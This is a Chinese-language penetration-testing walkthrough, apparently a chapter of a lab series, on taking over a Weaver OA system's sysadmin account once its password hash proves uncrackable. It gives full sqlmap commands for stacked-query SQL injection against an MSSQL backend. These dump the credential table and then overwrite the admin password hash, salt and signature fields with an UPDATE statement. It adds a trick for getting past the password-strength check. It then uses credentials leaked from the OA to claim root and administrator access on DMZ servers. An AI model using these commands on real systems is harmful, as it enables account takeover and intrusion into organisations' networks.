极端情况
内容简介
本小节主要讲解了如果在注入出的 OA 密码的 MD5 无法解密的话,我们其他一些操作姿势的细节处理。文章中细节很多,只有真正去实战的朋友才可能会注意到这些问题,非纸上谈兵可以发现的。
无法解密?
假设万一管理员设置的密码很复杂,CMD5 网站无法解密的话,那我们 该怎么办呢?
其实真实的实战中运气总不会是那么好的,所以我们得想办法来看看其他的思路。
记录信息
我们接下来操作准备是强制修改覆盖掉 sysadmin 的密码信息了,但是作为一个合格的白帽子,我们测试完之后记得恢复原状,所以先提前把之前的 sysadmin 的相关信息记录下来:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid -D ecology -T hrmresourcemanager -C "id,loginid,password,salt,hashData,signData" --dump
但是不够美观:
我们可以直接去蚁剑的服务器上看 SQLMap 的 Dump 记录,这样排版会更直观一些:
堆叠覆盖
这里因为需要覆盖 SQL 肯定是需要 update 语句来操作的,所以肯定是需要利用 MSSQL 的堆叠查询特性,所以我们的 SQLMap 的注入语句 -technique=T
得由原来的 T 延时盲注,再加一个S
,这表示额外增加堆叠查询,然后我们直接利用 --sql-shell
进入 SQLMap 的 SQL 交互模式,这样我们是可以直接敲自定义的 SQL 语句了:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell
接下来直接把 sysadmin 的密码修改为:Win.sqlsec.c0m
,因为泛微 OA 还存在 salt、hashData、signData 校验 sysadmin 的相关认证信息,所以也顺便把他们给置空:
update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5', salt='',hashdata='',signdata='' where id=1
强制覆盖泛微超管密码的一些细节姿势
泛微会对我们的密码进行复杂度校验,哪怕是我们强制去数据库覆盖的密码,如果复杂度不够高的话,也是无法正常登录的。比如你强制覆盖了 12345678
为密码也是无济于事的,所以需要覆盖这种类似于 P@ssw0rd
这种满足密码强度要素的密码。
但是还存着特例,如果我们覆盖 C4CA4238A0B923820DCC509A6F75849B
这个 1 的 MD5 值的话,也是可以成功登录的,相当于 1 这个密码属于范围的特例不会被校验强度的密码。
但是这里不知道是环境问题还是 SQLMap 的 sql-shell 特性问题,我们并不没有成功执行 update 语句:
打开 SQLMap 的 -v 5 查看详细日志:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell -v 5
update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5', salt='',hashdata='',signdata='' where id=1
关闭编码
update 语句的细节如下,猜测大概率是 SQLMap 的字符串编码机制的锅:
那我们使用 --no-escape
参数来手动关闭一下:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell -v 5 --no-escape
update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5',salt='',hashData='',signData=''
确实成功关闭了字符串编码了:
上帝模式的视角下看看,果然成功执行了 update 语句了:
登录系统
那我们直接使用 sysadmin/Win.sqlsec.c0m 来登录 OA 系统吧,成功登录:
在 OA 系统的知识库中直接翻阅到了运维相关的敏感记录,运维人员很周到的列出了网络架构,并对其进行了讲解,且直接给了一些关键系统的认证密码信息了,准备直接起飞:
最后大家改完密码的话,记得给人家管理员恢复一下原来的密码哦!否则搞出生产事故,这种锅就解释不清楚了。
登录主机
通过 OA 系列里面泄露的信息,DMZ 区域里面的主机信息一览无余了:
- 我们拿到了 172.18.100.10 Web 站点服务器的 root 权限
- 我们也拿到了 172.18.100.101 泛微 Wndows Server 2016 的管路员权限
- 我们还获得了一个管理员开的内网 Socks 代理隧道
172.18.100.10
密码就是 OA 里面泄露的密码,登录后也可以看到服务器安装了宝塔面板:
172.18.100.101
密码就是 OA 里面泄露的密码,登录后发现这个 DMZ 区的服务器只是一个工作组,还不是域环境: